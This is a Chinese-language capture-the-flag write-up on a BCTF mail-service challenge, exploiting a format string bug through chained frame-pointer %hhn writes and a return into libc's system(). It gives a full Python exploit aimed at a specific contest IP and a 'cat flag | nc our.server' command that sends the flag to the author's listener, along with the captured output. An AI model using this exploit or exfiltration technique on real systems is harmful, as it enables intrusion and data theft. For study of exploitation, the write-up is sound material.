over 9 years ago
ELF32, 我們在印出 mail 內容的 sub_8048d73() 中找到了一個 format string 漏洞:
int sub_8048D73(int fd, int a2){
//...
print(fd, "To: %s\n", *(&ptr + a2));
print(fd, "Subject: %s\n", v3 + 32);
print(fd, (const char *)(v3 + 96)); // 信件內容
print(fd, "\n---------\n");
//...
}
int print(int fd, const char *format, ...){
void *v2; // ST1C_4@1
int v3; // ST18_4@1
ssize_t v4; // ST14_4@1
va_list va; // [sp+38h] [bp+10h]@1
va_start(va, format);
v2 = malloc(size);
v3 = vsnprintf((char *)v2, size, format, va);
v4 = write(fd, v2, v3);
free(v2);
return v4;
}
好勒所以我們有一個 format string 漏洞,只是這個字串本身是在 heap 上,用 %n 做寫入時需要在 stack 上指定位址,這裡我們沒辦法直接將要寫的位址放在字串上。經過一番苦思,我們注意到了每個 stack frame 的 bp(A) 總是會指向前一層 stack frame bp(B) 的所在位址。利用 A 的值,%hhn 可以對 B 的最低位寫入,這樣 B 的值可以在一定範圍內浮動。我們接著再利用 B,%hhn 就可以對這個範圍內的任意位址寫入了。
printf("%130c%21%hhn"); // A @ 21$,
printf("%76c%33%hhn"); // B @ 33$ (0x7fbb50a0 -> 0x7fbb5082,再對 0x7fbb5082 寫入 76)
另外,此題 stack 不可執行,但用 format string 印出 stack 內容後,可以找出 main() 返回進 libc.so 裡的位置。由於這題是以 fork() 方式來運作的 service,因此位址不會改變,再利用提示給的 libc.so 檔就可以找出 system() 的正確位址。但不能直接 system('/bin/sh') 因為這樣輸出是看不到的,我們用 system('cat flag | nc our.server 13387') 來送出 flag。完整代碼如下:
import socket
import struct
import sys
st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.244',2337))
def S(x):
st.send(x+'\n')
def W(x,Show=True):
while True:
s = st.recv(4096)
if Show:
sys.stdout.write(s)
if x in s:
return s
W('Exit',False)
def FA(x,pad=True):
S('1')
S('.TO')
S('.SUB')
if pad:
S('[<({'+x+'})>]')
else:
S(x)
W('Exit',False)
S('3')
S('1')
s = W('Exit',False)
if pad:
s = s[s.find('[<({')+4:s.find('})>]')]
S('4')
S('1')
W('Exit',False)
return s
system = 0x3ea70-0x19993+0xf7489993
print 'system @ %08x'%system
print FA('%33$x'),FA('%34$x')
def WS(x,offset):
FA('%%%dc%%21$hhn'%(0x68+offset)) # write 33 (ffb28d68)
if ord(x)!=0:
FA('%%%dc%%33$hhn'%ord(x),pad=False) #write ffb28d6c+offset
else:
FA('%33$hhn',pad=False)
WS('\x70',0)
WS('\xea',1)
WS('\x4a',2)
WS('\xf7',3)
WS('\x78',8)
WS('\x8d',9)
WS('\xb2',10)
WS('\xff',11)
print '# sending cmd'
cmd = 'cat flag | nc our.server 13387; '
for i in range(len(cmd)):
WS(cmd[i],i+12)
print 'return to: '+FA('%34$x')
print 'arg1 = '+FA('%36$s')
S('5')
raw_input()
$nc -vlp 13387
listening on [any] 13387 ...
218.2.197.244: inverse host lookup failed: Unknown host
connect to [our.server] from (UNKNOWN) [218.2.197.244] 49763
BCTF{x14ng-fl4g-sh3m_m4_d3_zu1;m4;f4n;l3}
sent 0, rcvd 42